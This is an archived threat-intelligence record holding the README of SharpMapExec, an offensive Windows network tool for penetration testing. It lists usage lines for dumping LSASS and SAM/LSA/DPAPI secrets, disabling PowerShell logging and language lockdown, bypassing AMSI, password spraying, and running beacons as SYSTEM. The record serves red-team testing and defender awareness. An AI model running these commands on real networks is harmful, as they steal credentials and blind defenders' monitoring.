{
	"id": "66fa8e0b-c932-4dc3-882d-746a6fc30564",
	"created_at": "2026-04-06T00:13:41.607524Z",
	"updated_at": "2026-04-10T03:22:07.878819Z",
	"deleted_at": null,
	"sha1_hash": "1d3ec6eff5fb6c87e35be1afa9069550557c1f22",
	"title": "GitHub - cube0x0/SharpMapExec",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2012688,
	"plain_text": "GitHub - cube0x0/SharpMapExec\r\nBy cube0x0\r\nArchived: 2026-04-02 12:18:49 UTC\r\nA sharpen version of CrackMapExec. This tool is made to simplify penetration testing of networks and to create a\r\nswiss army knife that is made for running on Windows which is often a requirement during insider threat\r\nsimulation engagements.\r\nBesides scanning for access it can be used to identify vulnerable configurations and exfiltrate data. The idea for\r\nthe data exfiltration modules is to execute the least amount of necessary code on the remote computer. To\r\naccomplish this, the tool will download all the secrets to the loot directory and parse them locally.\r\nYou can specify if you want to use Kerberos or NTLM authentication. If you choose Kerberos, the tool will create\r\na sacrificial token and use Rubeus to import/ask for the ticket. If NTLM is specified, the tool will use SharpKatz\r\nSetThreadToken or LogonUser impersonation.\r\nSharpMapExec.exe\r\n usage:\r\n --- Cim ---\r\n Need plaintext password or the /impersonate flag\r\n SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET\r\n Available Cim modules\r\n /m:enable_winrm (Runs Enable-PSRemoting -Force)\r\n /m:disable_winrm (Runs Disable-PSRemoting -Force)\r\n /m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)\r\n /m:disable_pslogging (Modify registry to disable PowerShell Logging)\r\n /m:check_pslockdown (Check __PSLockdownPolicy registry)\r\n /m:check_pslogging (Check PowerShell Logging registry)\r\n --- Reg32 ---\r\n SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET\r\n SharpMapExec.exe kerberos reg32 \u003c/user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Ki\r\n Reg32 modules\r\n /m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)\r\n /m:check_pslockdown (Check __PSLockdownPolicy registry)\r\n /m:check_pslogging (Check PowerShell Logging registry)\r\n --- Smb ---\r\n SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET\r\n SharpMapExec.exe kerberos smb \u003c/user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirb\r\nhttps://github.com/cube0x0/SharpMapExec\r\nPage 1 of 6\n\nSmb modules\r\n /m:shares (Scan for accessible Smb shares)\r\n --- WinRm ---\r\n SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET\r\n SharpMapExec.exe kerberos winrm \u003c/user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi\u003e /c\r\n WinRm modules\r\n /m:exec /a:whoami (Invoke-Command)\r\n /m:exec /a:C:\\beacon.exe /system (Invoke-Command as System)\r\n /m:comsvcs (Dump \u0026 parse lsass)\r\n /m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)\r\n /m:assembly /p:Rubeus.exe /a:dump (Execute local C# assembly in memory)\r\n /m:assembly /p:beacon.exe /system (Execute local C# assembly as System in memory)\r\n /m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation proces\r\n /m:download /path:C:\\file /destination:file (Download file from host)\r\n /m:upload /path:C:\\file /destination:file (Upload file to host)\r\n --- Domain ---\r\n SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC\r\n SharpMapExec.exe tgtdeleg\r\n --- Ldap ---\r\n SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE\r\n SharpMapExec.exe kerberos ldap \u003c/user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:\r\n Ldap modules\r\n /m:spraydata (Download user and password policy)\r\nSmb\r\nCan be used to scan for admin access, accessible Smb shares, Smb version and relay signing.\r\n/m:shares (Scan enumerated shares for access)\r\nWinRm\r\nThe beast. It has built-in Amsi bypass, JEA language breakout, JEA function analysis. Can be used for code\r\nexecution, scaning for PsRemote access, vulnerable JEA endpoints, and data exfiltration.\r\n/m:exec /a:whoami (Invoke-Command)\r\n/m:exec /a:C:\\beacon.exe /system (Invoke-Command as System)\r\n/m:comsvcs (Dump Lsass Process)\r\n/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)\r\nhttps://github.com/cube0x0/SharpMapExec\r\nPage 2 of 6\n\n/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)\r\n/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)\r\n/m:download /path:C:\\file /destination:file (Download File from Host)\r\nDomain\r\nCurrently supports domain password spraying and to create a TGT for the current user that can be used with the\r\n/ticket parameter to get the current context.\r\nLdap\r\nDownload necessary data before pw spraying\r\n/m:spraydata (Download user and password policy)\r\nExample usage\r\nFor easy or mass in-memory execution of C# assemblies\r\nhttps://github.com/cube0x0/SharpMapExec\r\nPage 3 of 6\n\nKerberos password spraying then scanning for local admin access\r\nThis project supports scanning JEA endpoints and will analyze source code of non default commands and check if\r\nthe endpoint was not configured for no-language mode.\r\nDiscover local admin password reuse with an NT hash.\r\nhttps://github.com/cube0x0/SharpMapExec\r\nPage 4 of 6\n\nMass dump Lsass process with built-in Microsoft signed DLL and saves it to the loot folder\r\nExecutes in all delegation processes sorted by unique by users\r\nhttps://github.com/cube0x0/SharpMapExec\r\nPage 5 of 6\n\nScan for SMB signing and SMBv1\r\nAnd much more!\r\nSome scenarios with Kerberos will require you to sync your clock with the DC and set the DNS\r\nnet time \\\\DC01.hackit.local /set\r\nGet-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')\r\nAcknowledgments\r\nProjects that helped or are existing in this tool\r\nRubeus @Harmj0y\r\nSharpDPAPI @Harmj0y\r\nSharpKatz @b4rtik\r\nAmsi.Fail @Flangvik\r\nSharpSecDump @G0ldenGunSec\r\nCrackMapExec @byt3bl33d3r\r\nPingcastle @mysmartlogon\r\nSharpSpray\r\nSource: https://github.com/cube0x0/SharpMapExec\r\nhttps://github.com/cube0x0/SharpMapExec\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://github.com/cube0x0/SharpMapExec"
	],
	"report_names": [
		"SharpMapExec"
	],
	"threat_actors": [],
	"ts_created_at": 1775434421,
	"ts_updated_at": 1775791327,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1d3ec6eff5fb6c87e35be1afa9069550557c1f22.pdf",
		"text": "https://archive.orkl.eu/1d3ec6eff5fb6c87e35be1afa9069550557c1f22.txt",
		"img": "https://archive.orkl.eu/1d3ec6eff5fb6c87e35be1afa9069550557c1f22.jpg"
	}
}